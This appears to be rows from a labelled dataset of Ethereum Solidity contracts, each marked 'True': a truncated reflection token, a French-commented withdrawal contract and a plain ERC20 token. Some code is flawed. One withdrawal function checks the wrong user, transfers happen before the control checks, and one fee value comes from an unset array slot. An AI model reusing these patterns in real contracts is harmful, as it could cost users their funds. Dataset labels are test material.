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/**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Soccerinu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tBurnTotal;
string private _name = 'Soccerinu';
string private _symbol = 'SINU';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tBurnTotal = _tBurnTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee, tBurnValue,tTax,tLiquidity);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
_rTotal = _rTotal.sub(rFee);
_tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
uint256[12] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8]);
return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256) {
uint256[5] memory _localVal;
_localVal[0]/**tTax*/ = tAmount.div(100).mul(5);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(3);
_localVal[2]/**tFee*/ = tAmount.div(100).mul(2);
_localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]);
return (_localVal[4], _localVal[2], _localVal[1],_localVal[0]);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax) private pure returns (uint256, uint256, uint256,uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurnValue = tBurnValue.mul(currentRate);
//uint256 rLiqidity = tLiquidity.mul(currentRate);
uint256 rTax = tTax.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax);
return (rAmount, rTransferAmount, rFee, rBurnValue,rTax);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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pragma solidity ^0.4.21 ;
interface IERC20Token {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenlender) public constant returns (uint balance);
function allowance(address tokenlender, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenlender, address indexed spender, uint tokens);
}
contract LLV_v30_12 {
address owner ;
function LLV_v30_12 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID = 1000 ;
function setID ( uint256 newID ) public onlyOwner {
ID = newID ;
}
function getID () public constant returns ( uint256 ) {
return ID ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID_control = 1000 ;
function setID_control ( uint256 newID_control ) public onlyOwner {
ID_control = newID_control ;
}
function getID_control () public constant returns ( uint256 ) {
return ID_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd = 1000 ;
function setCmd ( uint256 newCmd ) public onlyOwner {
Cmd = newCmd ;
}
function getCmd () public constant returns ( uint256 ) {
return Cmd ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd_control = 1000 ;
function setCmd_control ( uint256 newCmd_control ) public onlyOwner {
Cmd_control = newCmd_control ;
}
function getCmd_control () public constant returns ( uint256 ) {
return Cmd_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function = 1000 ;
function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner {
Depositary_function = newDepositary_function ;
}
function getDepositary_function () public constant returns ( uint256 ) {
return Depositary_function ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function_control = 1000 ;
function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner {
Depositary_function_control = newDepositary_function_control ;
}
function getDepositary_function_control () public constant returns ( uint256 ) {
return Depositary_function_control ;
}
address public User_1 = msg.sender ;
address public User_2 ;// _User_2 ;
address public User_3 ;// _User_3 ;
address public User_4 ;// _User_4 ;
address public User_5 ;// _User_5 ;
IERC20Token public Securities_1 ;// _Securities_1 ;
IERC20Token public Securities_2 ;// _Securities_2 ;
IERC20Token public Securities_3 ;// _Securities_3 ;
IERC20Token public Securities_4 ;// _Securities_4 ;
IERC20Token public Securities_5 ;// _Securities_5 ;
uint256 public Standard_1 ;// _Standard_1 ;
uint256 public Standard_2 ;// _Standard_2 ;
uint256 public Standard_3 ;// _Standard_3 ;
uint256 public Standard_4 ;// _Standard_4 ;
uint256 public Standard_5 ;// _Standard_5 ;
function Eligibility_Group_1 (
address _User_1 ,
IERC20Token _Securities_1 ,
uint256 _Standard_1
)
public onlyOwner
{
User_1 = _User_1 ;
Securities_1 = _Securities_1 ;
Standard_1 = _Standard_1 ;
}
function Eligibility_Group_2 (
address _User_2 ,
IERC20Token _Securities_2 ,
uint256 _Standard_2
)
public onlyOwner
{
User_2 = _User_2 ;
Securities_2 = _Securities_2 ;
Standard_2 = _Standard_2 ;
}
function Eligibility_Group_3 (
address _User_3 ,
IERC20Token _Securities_3 ,
uint256 _Standard_3
)
public onlyOwner
{
User_3 = _User_3 ;
Securities_3 = _Securities_3 ;
Standard_3 = _Standard_3 ;
}
function Eligibility_Group_4 (
address _User_4 ,
IERC20Token _Securities_4 ,
uint256 _Standard_4
)
public onlyOwner
{
User_4 = _User_4 ;
Securities_4 = _Securities_4 ;
Standard_4 = _Standard_4 ;
}
function Eligibility_Group_5 (
address _User_5 ,
IERC20Token _Securities_5 ,
uint256 _Standard_5
)
public onlyOwner
{
User_5 = _User_5 ;
Securities_5 = _Securities_5 ;
Standard_5 = _Standard_5 ;
}
//
//
function retrait_1 () public {
require( msg.sender == User_1 );
require( Securities_1.transfer(User_1, Standard_1) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_2 () public {
require( msg.sender == User_2 );
require( Securities_2.transfer(User_2, Standard_2) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_3 () public {
require( msg.sender == User_3 );
require( Securities_3.transfer(User_3, Standard_3) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_4 () public {
require( msg.sender == User_4 );
require( Securities_4.transfer(User_4, Standard_4) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_5 () public {
require( msg.sender == User_1 );
require( Securities_5.transfer(User_5, Standard_5) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
// 1 Descriptif
// 2 Place de marché décentralisée
// 3 Forme juridique
// 4 Pool pair à pair déployé dans un environnement TP/SC-CDC (*)
// 5 Dénomination
// 6 « LUEBECK_LA_VALETTE » / « LLV_gruppe_v30.12 »
// 7 Statut
// 8 « D.A.O. » (Organisation autonome et décentralisée)
// 9 Propriétaires & responsables implicites
// 10 Les Utilisateurs du pool
// 11 Juridiction (i)
// 12 « Lausanne, Canton de Vaud, Confédération Helvétique »
// 13 Juridiction (ii)
// 14 « Wien, Bundesland Wien, Austria »
// 15 Instrument monétaire de référence (i)
// 16 « ethchf »
// 17 Instrument monétaire de référence (ii)
// 18 « etheur »
// 19 Instrument monétaire de référence (iii)
// 20 « ethczk »
// 21 Devise de référence (i)
// 22 « CHF »
// 23 Devise de référence (ii)
// 24 « EUR »
// 25 Devise de référence (iii)
// 26 « CZK »
// 27 Date de déployement initial
// 28 19.09.2008 (date de reprise des actifs de la holding en liquidation)
// 29 Environnement de déployement initial
// 30 (1 : 19.09.2008-01.08.2017) OTC (Lausanne) ; (2 : 01.08.2017-29.04.2018) suite protocolaire sur-couche « 88.2 »
// 31 Objet principal (i)
// 32 Services de place de marché et de teneur de marché sous la forme d’un pool mutuel
// 33 Objet principal (ii)
// 34 Gestion des activités post-marché, dont : contrepartie centrale et dépositaire
// 35 Objet principal (iii)
// 36 Garant
// 37 Objet principal (iv)
// 38 Teneur de compte
// 39 Objet principal (v)
// 40 « Chambre de compensation »
// 41 Objet principal (vi)
// 42 Opérateur « règlement-livraison »
// 43 @ de communication additionnelle (i)
// 44 0x49720E96dC488c75DFE1576b3b2965b4fED92575 (# 15)
// 45 @ de communication additionnelle (ii)
// 46 0x2DF6FfB4e9B27Df827a7c8DEb31555875e095b3e (# 16)
// 47 @ de publication additionnelle (protocole PP, i)
// 48 0xD1dEB350B3ea3FEF2d6f0Ece4F19419B1c37A43f (# 17)
// 49 Entité responsable du développement
// 50 Programme d’apprentissage autonome « EVA » / « KYOKO » / MS (sign)
// 51 Entité responsable de l’édition
// 52 Programme d’apprentissage autonome « EVA » / « KYOKO » / MS (sign)
// 53 Entité responsable du déployement initial
// 54 Programme d’apprentissage autonome « EVA » / « KYOKO » / MS (sign)
// 55 (*) Environnement technologique protocolaire / sous-couche de type « Consensus Distribué et Chiffré »
// 56 (**) @ Annexes et formulaires : <<<< --------------------------------- >>>> (confer : points 43 à 48)
// 57 -
// 58 -
// 59 -
// 60 -
// 61 -
// 62 -
// 63 -
// 64 -
// 65 -
// 66 -
// 67 -
// 68 -
// 69 -
// 70 -
// 71 -
// 72 -
// 73 -
// 74 -
// 75 -
// 76 -
// 77 -
// 78 -
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Alien is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Alien";
symbol = "ALIEN";
decimals = 10;
_totalSupply = 1000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
// Dependency file: @openzeppelin/contracts/security/ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
// pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
